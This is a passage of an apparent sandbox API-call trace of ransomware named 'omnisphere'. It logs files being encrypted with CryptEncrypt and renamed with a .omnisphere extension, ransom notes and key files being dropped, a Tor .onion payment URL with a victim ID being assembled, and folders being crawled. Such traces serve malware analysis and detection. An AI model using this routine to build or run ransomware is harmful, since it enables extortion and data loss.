pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptDestroyKey (hKey=0x1639b28) returned 1 [0115.766] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0115.766] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x197, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0115.766] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0115.769] GetProcessHeap () returned 0x1600000 [0115.769] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fc) returned 0x1688730 [0115.769] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk.omnisphere")) returned 1 [0115.772] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk.omnisphere.id" [0115.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.777] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0115.780] CloseHandle (hObject=0x3b4) returned 1 [0115.782] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.783] CloseHandle (hObject=0x388) returned 1 [0115.783] SetEndOfFile (hFile=0x3c0) returned 1 [0115.784] FlushFileBuffers (hFile=0x3c0) returned 1 [0115.789] CloseHandle (hObject=0x3c0) returned 1 [0115.790] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 1 [0115.790] GetProcessHeap () returned 0x1600000 [0115.790] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1688a38 [0115.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.790] GetProcessHeap () returned 0x1600000 [0115.790] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f170 [0115.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f170, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.790] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.790] GetProcessHeap () returned 0x1600000 [0115.790] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687408 [0115.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.790] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.790] GetProcessHeap () returned 0x1600000 [0115.790] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf8) returned 0x1638010 [0115.790] PathCombineW (in: pszDest=0x1638010, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\!DECRYPT_OMNISPHERE.txt" [0115.790] GetProcessHeap () returned 0x1600000 [0115.791] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168a6a0 [0115.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.793] WriteFile (in: hFile=0x3c0, lpBuffer=0x168a6a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x168a6a0*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0115.793] CloseHandle (hObject=0x3c0) returned 1 [0115.796] GetProcessHeap () returned 0x1600000 [0115.796] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1688a38 | out: hHeap=0x1600000) returned 1 [0115.796] GetProcessHeap () returned 0x1600000 [0115.796] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x16414e8 [0115.796] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\unique_decrypt.key" [0115.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.796] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0115.796] CloseHandle (hObject=0x3c0) returned 1 [0115.797] GetProcessHeap () returned 0x1600000 [0115.797] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0115.797] GetProcessHeap () returned 0x1600000 [0115.797] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0115.797] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0xb0, cFileName="File Explorer.lnk", cAlternateFileName="FILEEX~1.LNK")) returned 0 [0115.798] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.798] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x261999ce, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x261999ce, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x261999ce, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x261999ce, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="..", cAlternateFileName="")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261735fb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x261735fb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x261e8383, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2614d519, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x577, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f5d5c6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25f5d5c6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x260686d6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x261d3790, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="File Explorer.lnk.omnisphere", cAlternateFileName="FILEEX~1.OMN")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261999ce, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x261999ce, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x261ceb05, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="File Explorer.lnk.omnisphere.id", cAlternateFileName="FILEEX~1.ID")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261735fb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x261735fb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x261f419b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0115.799] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261735fb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x261735fb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x261f419b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0115.799] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0115.800] GetProcessHeap () returned 0x1600000 [0115.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0115.800] GetProcessHeap () returned 0x1600000 [0115.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c118 | out: hHeap=0x1600000) returned 1 [0115.800] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x2a005c, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0115.800] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0115.800] GetProcessHeap () returned 0x1600000 [0115.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1639ed0 | out: hHeap=0x1600000) returned 1 [0115.800] GetProcessHeap () returned 0x1600000 [0115.800] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166b0b8 | out: hHeap=0x1600000) returned 1 [0115.800] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x25beffcf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x672, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk.omnisphere", cAlternateFileName="WINDOW~1.OMN")) returned 1 [0115.800] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc9c5a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25bc9c5a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25bc9c5a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk.omnisphere.id", cAlternateFileName="WINDOW~1.ID")) returned 1 [0115.800] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc9c5a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25bc9c5a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25bc9c5a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk.omnisphere.id", cAlternateFileName="WINDOW~1.ID")) returned 0 [0115.800] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0115.801] GetProcessHeap () returned 0x1600000 [0115.801] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162d2e8 | out: hHeap=0x1600000) returned 1 [0115.801] GetProcessHeap () returned 0x1600000 [0115.801] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656190 | out: hHeap=0x1600000) returned 1 [0115.801] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="UserData", cAlternateFileName="")) returned 1 [0115.801] GetProcessHeap () returned 0x1600000 [0115.801] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e908 [0115.801] PathCombineW (in: pszDest=0x165e908, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="UserData" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0115.801] GetProcessHeap () returned 0x1600000 [0115.801] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656a18 [0115.801] PathCombineW (in: pszDest=0x1656a18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*" [0115.801] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.803] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName="..", cAlternateFileName="")) returned 1 [0115.803] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Low", cAlternateFileName="")) returned 1 [0115.803] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Low", cAlternateFileName="")) returned 0 [0115.803] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.803] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0115.803] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.803] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0115.803] GetProcessHeap () returned 0x1600000 [0115.803] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x16562e0 [0115.803] PathCombineW (in: pszDest=0x16562e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", pszFile="Low" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0115.803] GetProcessHeap () returned 0x1600000 [0115.803] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162da78 [0115.804] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*" [0115.804] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc0, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0115.805] FindNextFileW (in: hFindFile=0x1639b68, 